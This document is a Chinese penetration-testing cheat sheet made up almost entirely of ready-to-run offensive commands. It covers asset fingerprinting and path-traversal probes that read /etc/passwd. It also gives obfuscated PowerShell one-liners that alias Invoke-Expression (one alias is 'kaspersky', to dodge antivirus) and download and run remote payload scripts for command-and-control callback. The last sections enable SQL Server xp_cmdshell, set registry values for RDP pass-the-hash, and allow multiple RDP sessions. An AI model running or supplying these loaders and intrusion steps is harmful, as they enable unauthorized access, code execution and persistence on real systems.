跳到主要内容

渗透速查表

信息收集

gogo -l ips.txt -f ips.dat -v -e   #探测ip,指纹识别和poc利用
gogo -F ips.dat -o csv -f ips.csv #将结果导出为csv文件
./ehole_linux finger -l url.txt -o urlout.xlsx 
./ehole_linux finger -s domain="baidu.com" -o urlout.xlsx #fofa查指纹
httpx -l url1.txt -o hout.txt -silent  #探存活并只输出url(silent静默模式-不显示httpx程序banner信息)
httpx -l url.txt -silent -fr | grep -oP '^http(s)?://\S*\t*' | tee hikurl.txt #重定向探存活,输出http(s)://xxx格式
httpx -l url.txt -silent -fr | grep -oP '(?<=\[).+?(?=\])' > hikurl.txt #重定向探存活,输出重定向url
httpx -l url1.txt -o hout.txt -ss -fr #探存活跟随重定向并截图(无头)
httpx -l url.txt -csv -o hikurl.csv -silent -fr #探存活,以csv格式输出
httpx -l url.txt -csv -o hikurl.csv -silent -fr -ss -td -favicon -jarm -hash md5 #探测详细指纹信息并截图,以csv格式输出
httpx -l url.txt -o hout.txt -title -sc -cl -fc 500 -probe -fr#探测url(详细输出)
httpx -l url1.txt -silent -o hout.txt -path "/login.php" -fr -csv #探测路径并跟随重定向,以csv格式输出
httpx -l ip.txtt -status-code -path "/public/plugins/prometheus/../../../../../../../../../../../etc/passwd" -mc 200 -mr "root:x" #对某个任意文件读取poc做测试
ffuf -w url.txt:URL -w SecDictionary/filelak/H2-9000.txt:FUZZ -u URL/FUZZ -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 uacq" -H "X-Originating-Ip: 127.0.0.1" -H "X-Remote-Ip: 127.0.0.1" -H "X-Forwarded-For: 127.0.0.1" -H "X-Remote-Addr: 127.0.0.1" -H "Cf-Connecting-Ip: 127.0.0.1" -fs 0  -fw 0 -ac -t 100 -c -o urldirout.csv -of csv

powershell快速上线

powershell set-alias -name kaspersky -value Invoke-Expression;"$a1='kaspersky ((new-object net.webclient).downl';$a2='oadstring(''https://xx.xxxx.online/a.ps1''))';$a3=$a1,$a2;kaspersky(-join $a3)"

echo set-alias -name hhh -value IEX;hhh(New-Object "NeT.WebC`li`ent")."Down`l`oadStr`ing"('ht'+'tP://19’+'2.168.1.1'+'2/payload.ps1') | %psmodulepath:~24,10% -

CMD /C ECHO SET-ALIAS -NAME XZ -VALUE iex;x^z (nEW-oBJECT "NeT.WebClient").D^O^W^N^L^O^A^D^S^T^R^I^N^G('HT'+'Tps://x.x.x.x') | P^O^W^E^R^S^H^E^L^L -

sqlserver_xpcmdshell

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'  #查看xpcmdshell是否开启
#手工打开xpcmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

利用hash远程登录管理员账号

#使用hash远程登录RDP,需要开启"Restricted Admin Mode"
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f #开启Restricted Admin mode
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" #查看是否已开启0x0则表示开启

3389 PC单用户登录绕过

使用rdpwrap登录新建test用户时不会出现弹窗挤掉administrator,但是登录administrator时还是会把原机器已登录的administrator给挤掉。通过修改以下注册表设置下多用户登录即可解决。

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f